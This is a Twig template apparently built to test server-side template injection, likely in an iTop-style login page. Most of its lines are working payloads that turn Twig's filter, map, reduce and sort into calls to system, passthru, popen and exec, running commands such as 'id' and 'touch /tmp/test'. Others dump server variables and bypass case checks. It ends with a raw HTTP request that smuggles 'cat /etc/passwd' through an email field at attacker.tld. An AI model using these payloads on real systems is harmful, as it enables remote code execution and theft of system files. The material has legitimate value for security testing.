<div>{{ 'UI:Login:UserNamePrompt'|dict_s }}</div>

<div>['id']|filter('system')|join</div>
{{ ['id']|filter('system')|join }}

<div>['echo']|filter('passthru')|join</div>
{{ ['echo']|filter('passthru')|join }}

<div>['echo']|filter('popen')|join</div>
{{ ['echo']|filter('popen')|join }}

<div>['echo']|filter('exec')|join</div>
{{ ['echo']|filter('exec')|join }}

<div>['id']|filter('SysteM')|join</div>
{{ ['id']|filter('SysteM')|join }}

<div>['touch+/tmp/test+']|filter('system')|join(',')</div>
{{ ['touch+/tmp/test+']|filter('system')|join(',') }}

<div>[34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ')</div>
{{ [34, 36, 38, 40, 42]|filter(v => v > 38)|join(', ') }}

<div>app.request.server.all|join(',')</div>
{{ app.request.server.all|join(',')}}

<div>self</div>
{{ self }}

<div>[0]|reduce('system','echo')</div>
{{ [0]|reduce('system','echo')|join(', ') }}

<div>[1, 2, 3]|reduce((carry, v) => carry + v)</div>
{% set numbers = [1, 2, 3] %}
{{ numbers|reduce((carry, v) => carry + v)|join(', ') }}

<div>['echo']|map('system')|join</div>
{{ ['echo']|map('system')|join }}

<div>{"Bob": "Smith", "Alice": "Dupond"}|map((value, key) => "#{key} #{value}")|join(', ')</div>
{% set people = {
"Bob": "Smith",
"Alice": "Dupond",
} %}
{{ people|map((value, key) => "#{key} #{value}")|join(', ') }}

<div>['echo',1]|sort('system')|join</div>
{{ ['echo',1]|sort('system')|join }}

<div>[['id','']|sort('system')</div>
{{['id','']|sort('system')|join}}

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{ app.request.query.filter(0,0,1024,{'options':'system'}) }}"@attacker.tld